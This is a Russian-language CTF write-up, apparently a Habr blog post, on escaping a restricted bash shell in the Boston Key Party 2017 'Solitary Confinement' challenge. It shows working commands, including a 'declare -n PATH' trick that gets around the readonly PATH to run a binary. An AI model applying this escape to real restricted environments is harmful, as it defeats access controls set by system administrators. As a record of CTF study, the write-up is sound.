Pull to refresh

Что делать если вас заперли в rbash

Reading time 2 min
Views 9K
Совсем недавно проходил очередной интересный CTF Boston Key Party 2017. Который мы к сожалению не выиграли, но это другая история. А сегодня я бы хотел описать решение одного задания из раздела pwn это «Solitary Confinement (pwn 99)».

Осуществив подключение по SSH мы сразу попадаем в rbash.

Осмотревшись, становится понятно, что доступных для исполнения файлов, через которые можно было бы выйти в нормальный шел, у нас нет:

rbash-4.3$ [tab]
!          ]]         builtin    compgen    declare    echo       eval       fc         getopts    in         logout     pwd        readonly   shopt      time       typeset    until
alias      caller     complete   dirs       elif       exec       fg         hash       jobs       mapfile    return     source     times      ulimit     wait
:          bg         case       compopt    disown     else       exit       fi         help       kill       popd       rbash      select     suspend    trap       umask      while
[          bind       cd         continue   do         enable     export     for        history    let        printf     read       set        test       true       unalias    {
[[         break      command    coproc     done       esac       false      function   if         local      pushd      readarray  shift      then       type       unset      }

Далее осмотревшись в системе:

-rbash-4.3$ pwd
/

Понимаем что мы находимся в корневой директории! Первая мысль — Это здорово! Однако смотрим дальше:

-rbash-4.3$ echo ./*
bin    dev    flag   lib    lib64
-rbash-4.3$ echo ./bin/*
rbash
-rbash-4.3$ echo ./flag/*
showFlag

Ну по крайней мере знаем где лежит флаг. Но и тут не всё так просто, просмотрев атрибуты файла:

-rbash-4.3$ if [[ -r flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -x flag/showFlag ]]; then echo ok; fi
ok
-rbash-4.3$ if [[ -G flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -O flag/showFlag ]]; then echo ok; fi

Понимаем, что это бинарник, так ещё и не принадлежит нам. Так как использовать / для исполнения команд запрещено, так же как и изменять использовать cd. То нужно было придумать как изменить переменную PATH.

rbash-4.3$ unset -v PATH
rbash: unset: PATH: cannot unset: readonly variable

Изменять переменные окружения можно следующим образом:

  • set PATH=deadbeef
  • typeset PATH=deadbeef
  • export PATH=deadbeef
  • PATH=deadbeef
  • declare PATH=deadbeef

После внимательного изучения документации к каждой команде, можно наткнуться на вот такой интересный фрагмент:
declare: declare [-aAfFgilnrtux] [-p] [name[=value] ...]
Set variable values and attributes.

-n make NAME a reference to the variable named by its value

Хм, раз нельзя изменить переменную напрямую, попробуем создать ссылку:

rbash-4.3$ declare -n PATH
rbash-4.3$ export PATH=/flag

Ошибок не возникло. Проверим внесенные изменения:

rbash-4.3$ echo $PATH
/flag
rbash-4.3$ showFlag
BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}

Флаг у нас. Задание пройдено. При наличии к примеру bash'а, можно было бы его запустить таким же образом.
Tags:
Hubs:
+24
Comments 0
Comments Leave a comment

Articles